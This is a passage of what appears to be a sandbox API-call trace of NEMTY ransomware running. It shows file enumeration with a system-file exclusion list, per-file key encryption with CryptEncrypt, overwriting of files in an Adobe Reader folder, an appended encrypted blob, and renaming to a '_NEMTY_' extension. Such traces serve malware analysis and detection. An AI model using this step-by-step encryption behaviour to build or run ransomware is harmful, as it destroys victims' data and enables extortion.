cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NOR", lpUsedDefaultChar=0x0) returned 9 [0180.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NOR", lpUsedDefaultChar=0x0) returned 9 [0180.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NOR", lpUsedDefaultChar=0x0) returned 9 [0180.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.NOR", lpUsedDefaultChar=0x0) returned 9 [0180.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.001] Sleep (dwMilliseconds=0x5) [0180.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef05ed0, dwHighDateTime=0x1d561e8)) [0180.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef05ed0, dwHighDateTime=0x1d561e8)) [0180.006] GetLastError () returned 0x0 [0180.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.006] GetLastError () returned 0x0 [0180.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.006] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.006] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.007] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.007] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="KGyr31sF55AW+7N87Kvjl13utvM12lnJ6wMUxNkwNCWc42knsoZuSE0nMIqrXOTT\r\nwxpt3g3BGNzvxAA9mIUkQ2zcuoXEDTHdoX1vcV1kC6IIj9npPkEwWL8CQH9evmyz\r\nU68TXoU7mcsYQAEZb2OeaPSQhgAEVjDkQ3jWR4+HBbH3FfVrwn0GbGiGZVbbF3cj\r\n5Pb0ZuYuNkUKSsLcNDpjdT6KYBn1um+tUjpTkDs5+dKImvajpfDpSPd2YX7+/mHX\r\nn+SnkFjq7qVQY+DN5x69Otjx6tI3Vv78AGzJYCAzQS5C+gT6TFKue+H3XYhAvjFA\r\np682VO6tpy/px1v9oqjsHw==\r\n", pcchString=0x653e5dc) returned 1 [0180.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.007] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0180.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0180.007] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.007] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0180.010] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.010] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0180.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.010] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0180.010] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.010] CloseHandle (hObject=0x2e8) returned 1 [0180.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.010] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor._nemty_kgobjgd_")) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.011] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.NOR", cAlternateFileName="")) returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2=".") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="..") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="...") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="windows") returned -1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="rsa") returned -1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="NTDETECT.COM") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="ntldr") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="MSDOS.SYS") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="IO.SYS") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="boot.ini") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="boot.ini") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="ntuser.dat") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="desktop.ini") returned 1 [0180.011] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="CONFIG.SYS") returned 1 [0180.012] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="RECYCLER") returned -1 [0180.012] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.012] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="bootmgr") returned 1 [0180.012] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="programdata") returned -1 [0180.012] lstrcmpiW (lpString1="PPKLITE.NOR", lpString2="appdata") returned 1 [0180.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.NOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.012] Sleep (dwMilliseconds=0x5) [0180.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef2c030, dwHighDateTime=0x1d561e8)) [0180.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ef2c030, dwHighDateTime=0x1d561e8)) [0180.022] GetLastError () returned 0x0 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.022] GetLastError () returned 0x0 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.022] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.022] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ErBTrLKo/SRG7O0xOUzl2AWl2I0EOGKN+V+nTV/sYaklXzZl5PqLvh1q5o/b15kd\r\nAwTbMRj2r7hRTm8gaV8IUQ7D/PZ4hXqBfb0V9gFUatL5QLHkRAUIEUj8GfVEXrzd\r\ndx2aU9V44BuKFHqZ6Hx/9eH9AHwhWESuzTnVHvkuHdWLqjwe9WuGvdwjix+PHDNo\r\nCeHLUKOPt4nZBHs0rZKnmDlX9yE2hO7zYWZH6offNA6m/Y2985IeEeRQYcRE70qa\r\nhe7HHehv43QN6IyVhCzO44LsU0g/SDwhYcRMkmEEDmOUbOVHEDAttq7S1MQmtlZ7\r\n6+Zgp2IJGX/f6p+NT7IvRw==\r\n", pcchString=0x653e5dc) returned 1 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\PPKLITE.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ppklite.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.023] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=507904) returned 1 [0180.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.023] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.023] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.032] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.032] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.032] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=507904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c000 [0180.032] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.033] CloseHandle (hObject=0x2e8) returned 1 [0180.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.033] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\PPKLITE.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ppklite.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\PPKLITE.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ppklite.nor._nemty_kgobjgd_")) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.034] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fc08920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.NOR", cAlternateFileName="")) returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2=".") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="..") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="...") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="windows") returned -1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="rsa") returned -1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="NTDETECT.COM") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="ntldr") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="MSDOS.SYS") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="IO.SYS") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="boot.ini") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="boot.ini") returned 1 [0180.034] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.035] lstrcmpiW (lpString1="RdLang32.NOR", lpString2="ntuser.dat") returned 1 